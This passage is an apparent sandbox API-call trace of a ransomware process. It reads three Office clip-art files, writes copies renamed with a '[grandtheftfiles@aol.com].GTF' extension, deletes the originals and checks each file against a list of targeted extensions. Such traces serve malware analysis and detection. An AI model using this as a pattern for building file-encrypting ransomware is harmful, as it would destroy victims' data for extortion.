	[0168.874] lstrlenW (lpString="J0107300.WMF") returned 12
	[0168.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0168.875] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=2460) returned 1
	[0168.875] CloseHandle (hObject=0x530) returned 1
	[0168.875] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf")) returned 0x220
	[0168.875] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0168.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0168.875] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.876] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0168.876] GetLastError () returned 0x0
	[0168.876] ReadFile (in: hFile=0x530, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x99c, lpOverlapped=0x0) returned 1
	[0169.077] WriteFile (in: hFile=0x568, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x9a0, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x9a0, lpOverlapped=0x0) returned 1
	[0169.078] ReadFile (in: hFile=0x530, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.078] WriteFile (in: hFile=0x568, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0169.078] SetEndOfFile (hFile=0x568) returned 1
	[0169.078] CloseHandle (hObject=0x568) returned 1
	[0169.079] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.079] SetEndOfFile (hFile=0x530) returned 1
	[0169.082] CloseHandle (hObject=0x530) returned 1
	[0169.082] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0169.082] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf")) returned 1
	[0169.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68
	[0169.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68
	[0169.083] lstrlenW (lpString=".doc") returned 4
	[0169.083] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.083] lstrlenW (lpString=".docx") returned 5
	[0169.083] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0169.083] lstrlenW (lpString=".pdf") returned 4
	[0169.083] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.083] lstrlenW (lpString=".xls") returned 4
	[0169.083] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.083] lstrlenW (lpString=".xlsx") returned 5
	[0169.083] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0169.083] lstrlenW (lpString=".ppt") returned 4
	[0169.083] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68
	[0169.083] lstrlenW (lpString=".zip") returned 4
	[0169.083] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.083] lstrlenW (lpString=".rar") returned 4
	[0169.083] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.083] lstrlenW (lpString=".bz2") returned 4
	[0169.083] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.083] lstrlenW (lpString=".7z") returned 3
	[0169.083] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68
	[0169.083] lstrlenW (lpString=".dbf") returned 4
	[0169.083] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68
	[0169.083] lstrlenW (lpString=".1cd") returned 4
	[0169.083] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68
	[0169.084] lstrlenW (lpString=".jpg") returned 4
	[0169.084] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68
	[0169.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68
	[0169.084] lstrlenW (lpString=".doc") returned 4
	[0169.084] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.084] lstrlenW (lpString=".docx") returned 5
	[0169.084] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0169.084] lstrlenW (lpString=".pdf") returned 4
	[0169.084] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.084] lstrlenW (lpString=".xls") returned 4
	[0169.084] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.084] lstrlenW (lpString=".xlsx") returned 5
	[0169.084] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0169.084] lstrlenW (lpString=".ppt") returned 4
	[0169.084] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68
	[0169.084] lstrlenW (lpString=".zip") returned 4
	[0169.084] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.084] lstrlenW (lpString=".rar") returned 4
	[0169.084] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.084] lstrlenW (lpString=".bz2") returned 4
	[0169.084] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.084] lstrlenW (lpString=".7z") returned 3
	[0169.084] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68
	[0169.084] lstrlenW (lpString=".dbf") returned 4
	[0169.084] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68
	[0169.084] lstrlenW (lpString=".1cd") returned 4
	[0169.084] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68
	[0169.085] lstrlenW (lpString=".jpg") returned 4
	[0169.085] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.085] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0169.085] lstrlenW (lpString="J0107316.WMF") returned 12
	[0169.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107316.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0169.086] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=11288) returned 1
	[0169.086] CloseHandle (hObject=0x530) returned 1
	[0169.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107316.wmf")) returned 0x220
	[0169.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107316.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0169.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107316.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0169.086] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.086] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107316.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0169.087] GetLastError () returned 0x0
	[0169.087] ReadFile (in: hFile=0x530, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x2c18, lpOverlapped=0x0) returned 1
	[0169.104] WriteFile (in: hFile=0x568, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x2c20, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x2c20, lpOverlapped=0x0) returned 1
	[0169.109] ReadFile (in: hFile=0x530, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.109] WriteFile (in: hFile=0x568, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0169.109] SetEndOfFile (hFile=0x568) returned 1
	[0169.110] CloseHandle (hObject=0x568) returned 1
	[0169.110] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.110] SetEndOfFile (hFile=0x530) returned 1
	[0169.112] CloseHandle (hObject=0x530) returned 1
	[0169.112] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0169.113] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107316.wmf")) returned 1
	[0169.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68
	[0169.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68
	[0169.114] lstrlenW (lpString=".doc") returned 4
	[0169.114] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.114] lstrlenW (lpString=".docx") returned 5
	[0169.114] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0169.114] lstrlenW (lpString=".pdf") returned 4
	[0169.114] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.114] lstrlenW (lpString=".xls") returned 4
	[0169.114] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.114] lstrlenW (lpString=".xlsx") returned 5
	[0169.114] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0169.114] lstrlenW (lpString=".ppt") returned 4
	[0169.114] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68
	[0169.114] lstrlenW (lpString=".zip") returned 4
	[0169.114] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.114] lstrlenW (lpString=".rar") returned 4
	[0169.114] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.114] lstrlenW (lpString=".bz2") returned 4
	[0169.114] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.114] lstrlenW (lpString=".7z") returned 3
	[0169.114] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68
	[0169.114] lstrlenW (lpString=".dbf") returned 4
	[0169.114] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68
	[0169.114] lstrlenW (lpString=".1cd") returned 4
	[0169.114] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68
	[0169.114] lstrlenW (lpString=".jpg") returned 4
	[0169.114] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68
	[0169.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68
	[0169.115] lstrlenW (lpString=".doc") returned 4
	[0169.115] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.115] lstrlenW (lpString=".docx") returned 5
	[0169.115] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0169.115] lstrlenW (lpString=".pdf") returned 4
	[0169.115] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.115] lstrlenW (lpString=".xls") returned 4
	[0169.115] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.115] lstrlenW (lpString=".xlsx") returned 5
	[0169.115] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0169.115] lstrlenW (lpString=".ppt") returned 4
	[0169.115] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68
	[0169.115] lstrlenW (lpString=".zip") returned 4
	[0169.115] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.115] lstrlenW (lpString=".rar") returned 4
	[0169.115] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.115] lstrlenW (lpString=".bz2") returned 4
	[0169.115] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.115] lstrlenW (lpString=".7z") returned 3
	[0169.115] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68
	[0169.115] lstrlenW (lpString=".dbf") returned 4
	[0169.115] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68
	[0169.115] lstrlenW (lpString=".1cd") returned 4
	[0169.115] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68
	[0169.115] lstrlenW (lpString=".jpg") returned 4
	[0169.115] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.116] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0169.116] lstrlenW (lpString="J0107328.WMF") returned 12
	[0169.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0169.116] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=6532) returned 1
	[0169.116] CloseHandle (hObject=0x530) returned 1
	[0169.116] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf")) returned 0x220
	[0169.117] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0169.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0169.117] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.117] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0169.118] GetLastError () returned 0x0
	[0169.118] ReadFile (in: hFile=0x530, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x1984, lpOverlapped=0x0) returned 1
	[0169.120] WriteFile (in: hFile=0x568, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x1990, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x1990, lpOverlapped=0x0) returned 1
	[0169.121] ReadFile (in: hFile=0x530, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.121] WriteFile (in: hFile=0x568, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0169.121] SetEndOfFile (hFile=0x568) returned 1
	[0169.121] CloseHandle (hObject=0x568) returned 1
	[0169.121] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.121] SetEndOfFile (hFile=0x530) returned 1
	[0169.126] CloseHandle (hObject=0x530) returned 1
	[0169.126] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0169.127] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf")) returned 1
	[0169.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68
	[0169.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68
	[0169.127] lstrlenW (lpString=".doc") returned 4
	[0169.127] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.128] lstrlenW (lpString=".docx") returned 5
	[0169.128] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0169.128] lstrlenW (lpString=".pdf") returned 4
	[0169.128] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.128] lstrlenW (lpString=".xls") returned 4
	[0169.128] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.128] lstrlenW (lpString=".xlsx") returned 5
	[0169.128] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0169.128] lstrlenW (lpString=".ppt") returned 4
	[0169.128] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68
	[0169.128] lstrlenW (lpString=".zip") returned 4
	[0169.128] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.128] lstrlenW (lpString=".rar") returned 4
	[0169.128] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.128] lstrlenW (lpString=".bz2") returned 4
	[0169.128] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.128] lstrlenW (lpString=".7z") returned 3
	[0169.128] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68
	[0169.128] lstrlenW (lpString=".dbf") returned 4
	[0169.128] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68
	[0169.128] lstrlenW (lpString=".1cd") returned 4
	[0169.128] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68
	[0169.128] lstrlenW (lpString=".jpg") returned 4
	[0169.128] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68
	[0169.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68
	[0169.128] lstrlenW (lpString=".doc") returned 4
	[0169.128] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.129] lstrlenW (lpString=".docx") returned 5
	[0169.129] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0169.129] lstrlenW (lpString=".pdf") returned 4
	[0169.129] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.129] lstrlenW (lpString=".xls") returned 4
	[0169.129] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.129] lstrlenW (lpString=".xlsx") returned 5
	[0169.129] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0169.129] lstrlenW (lpString=".ppt") returned 4
	[0169.129] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68
	[0169.129] lstrlenW (lpString=".zip") returned 4
	[0169.129] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.129] lstrlenW (lpString=".rar") returned 4
	[0169.129] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.129] lstrlenW (lpString=".bz2") returned 4
	[0169.129] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.129] lstrlenW (lpString=".7z") returned 3
	[0169.129] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68
	[0169.129] lstrlenW (lpString=".dbf") returned 4
	[0169.129] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68
	[0169.129] lstrlenW (lpString=".1cd") returned 4
	[0169.129] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF") returned 68
	[0169.129] lstrlenW (lpString=".jpg") returned 4
	[0169.129] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.129] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
